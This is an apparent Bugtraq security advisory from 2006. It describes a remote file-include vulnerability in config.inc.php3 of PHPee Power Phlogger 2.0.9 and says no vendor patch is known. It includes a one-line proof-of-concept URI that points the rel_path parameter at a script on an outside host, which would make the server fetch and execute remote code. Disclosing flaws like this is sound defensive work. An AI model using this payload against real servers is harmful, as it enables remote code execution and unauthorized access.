Power Phlogger Config.Inc.PHP3 Remote File Include Vulnerability

Bugtraq ID:	20644
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 20 2006 12:00AM
Updated:	Oct 23 2006 07:33PM
Credit:	x_w0x is credited with the discovery of this vulnerability.
Vulnerable:	PHPee Power Phlogger 2.0.9
Not Vulnerable:

Power Phlogger Config.Inc.PHP3 Remote File Include Vulnerability

Power Phlogger is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

A successful exploit of this issue allows an attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

Version 2.0.9 is vulnerable to this issue; other versions may also be affected.

Power Phlogger Config.Inc.PHP3 Remote File Include Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URI demonstrates this vulnerability:

http://www.example.com.com/[Power Phlogger 2.0.9]/config.inc.php3?rel_path=http://www.example2.com/DarknesseScript.txt

Power Phlogger Config.Inc.PHP3 Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

Power Phlogger Config.Inc.PHP3 Remote File Include Vulnerability

References:

• Vendor Home Page (PHPee)